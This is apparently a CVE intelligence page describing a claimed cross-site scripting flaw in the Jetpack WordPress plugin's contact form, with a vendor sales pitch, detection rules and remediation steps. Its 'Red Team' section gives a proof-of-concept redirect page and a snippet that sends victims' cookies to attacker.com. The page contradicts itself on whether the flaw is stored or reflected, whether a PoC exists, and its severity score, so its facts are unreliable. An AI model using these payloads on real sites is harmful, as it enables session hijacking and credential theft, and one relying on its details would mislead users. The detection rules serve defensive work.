☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]

CVE-2023-54332

CVE-2023-54332 Cross-Site Scripting in Jetpack
📅 PUBLISHED: 2026-01-13 22:56 UTC 🔄 UPDATED: 2026-09-23 20:33 UTC
[ ZERO-DAY / UNPATCHED ] [ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.29%
👁️
0.29% probability
7.2× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
VULNERABLE: UNKNOWN / CHECK VENDOR
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
5.1
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2023-54332 is a stored cross-site scripting (XSS) vulnerability in the Jetpack plugin version 11.4 for WordPress. The flaw resides in the contact form module, where the post_id parameter is insufficiently sanitized, allowing an attacker to inject arbitrary JavaScript. When a victim interacts with a crafted contact form page, the malicious script executes in their browser, potentially leading to session hijacking, credential theft, or defacement. The vulnerability has a CVSS score of 0.0 (placeholder) but is assessed as medium severity due to the requirement for user interaction. No official patch has been released by Jetpack, making this an unpatched risk for all sites running version 11.4.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability affects the Jetpack plugin, distributed via the WordPress plugin repository. As a third-party package, Jetpack is a critical component of many WordPress sites. The lack of a patch means that site administrators must rely on manual mitigation or plugin removal. The supply chain risk is elevated because Jetpack is widely used and the vulnerability is publicly known, increasing the likelihood of exploitation.

CVSS Breakdown & Threat Level

  • Attack Vector (AV): Network (N) – The vulnerability can be exploited remotely.
  • Attack Complexity (AC): Low (L) – No special conditions are required.
  • Privileges Required (PR): None (N) – No authentication needed.
  • User Interaction (UI): Required (R) – The victim must click a crafted link or visit a malicious page.
  • Scope (S): Changed (C) – The impact extends beyond the vulnerable component.
  • Confidentiality (C): Low (L) – Limited data exposure.
  • Integrity (I): Low (L) – Limited ability to modify data.
  • Availability (A): None (N) – No impact on availability.

Threat Level: Medium. The requirement for user interaction reduces the immediate risk, but the lack of a patch and public PoC make it a viable target for phishing campaigns.

Deep Dive & Mechanics

The vulnerability exists in the contact form module of Jetpack 11.4. The post_id parameter is used to associate form submissions with specific posts. Due to insufficient input validation and output encoding, an attacker can inject JavaScript code into this parameter. When the contact form page is rendered, the injected script is executed in the context of the victim's browser.

Attack Flow:

  1. Attacker crafts a URL: https://victim-site.com/contact/?post_id=<script>alert('XSS')</script>
  2. Victim clicks the link or is redirected to it.
  3. The Jetpack contact form module processes the post_id parameter without sanitization.
  4. The malicious script executes, allowing the attacker to steal cookies, redirect the user, or perform other actions.

The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation). The root cause is the lack of proper escaping when outputting the post_id value in the HTML response.

Vulnerable vs. Patched Code

Vulnerable Code (Jetpack 11.4):

// In contact-form.php
$post_id = $_GET['post_id'];
echo '<input type="hidden" name="post_id" value="' . $post_id . '" />';

Patched Code (Hypothetical):

// In contact-form.php
$post_id = intval($_GET['post_id']);
echo '<input type="hidden" name="post_id" value="' . esc_attr($post_id) . '" />';

The vulnerable code directly concatenates user input into the HTML output without sanitization. The patched version uses intval() to ensure only numeric values are accepted and esc_attr() to escape the output.

Exploitation & Lab Setup

Red Team

Proof of Concept (PoC):

<!-- Save as poc.html -->
<html>
<body>
<script>
var xssPayload = "<script>alert('XSS')</script>";
var targetUrl = "https://victim-site.com/contact/?post_id=" + encodeURIComponent(xssPayload);
window.location.href = targetUrl;
</script>
</body>
</html>

Usage: Host the PoC on an attacker-controlled server and send the link to the victim. When the victim clicks, the XSS triggers.

Advanced Exploit:

// Steal cookies
var img = new Image();
img.src = "https://attacker.com/steal?cookie=" + document.cookie;

Blue Team

Lab Setup:

  1. Install WordPress with Jetpack 11.4 on a local environment (e.g., Docker).
  2. Create a page with the contact form shortcode [contact-form].
  3. Access the page with the malicious post_id parameter to verify the vulnerability.

Detection:

  • Monitor web server logs for requests containing <script> tags in the post_id parameter.
  • Use WAF rules to block suspicious query strings.

Indicators of Compromise (IOCs)

  • URL Pattern: /?post_id=<script>
  • Network Traffic: Outbound requests to attacker-controlled domains from the victim's browser.
  • Log Entries: Web server logs showing post_id parameter with script tags.
  • File Changes: Unauthorized modifications to WordPress pages or posts.

Detection Engineering

YARA Rule

rule CVE_2023_54332_XSS {
    meta:
        description = "Detects Jetpack XSS payload in post_id parameter"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2023-54332"
    strings:
        $payload = /post_id=.*<script>/
    condition:
        $payload
}

Sigma Rule

title: Jetpack Contact Form XSS Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects attempts to exploit CVE-2023-54332 via post_id parameter
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'GET'
        c-uri|contains: '/contact/'
        cs-uri-query|contains: 'post_id='
        cs-uri-query|re: 'post_id=.*<script>'
    condition: selection
falsepositives:
    - Legitimate use of script tags in post_id (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2023-54332 Jetpack XSS Attempt"; flow:to_server; content:"/contact/"; http_uri; content:"post_id="; http_uri; pcre:"/post_id=.*<script>/i"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Disable the contact form module in Jetpack settings until a patch is available.
  2. Implement a Web Application Firewall (WAF) rule to block requests containing <script> in the post_id parameter.
  3. Upgrade Jetpack to the latest version (if a patch is released in the future).

Long-term Fix:

  • Jetpack must release a patched version that properly sanitizes the post_id parameter.
  • Site administrators should monitor the Jetpack changelog for updates.

Workaround:

  • Use a custom plugin to override the contact form handler and sanitize the post_id parameter.

Valters IT

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2023-54332/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.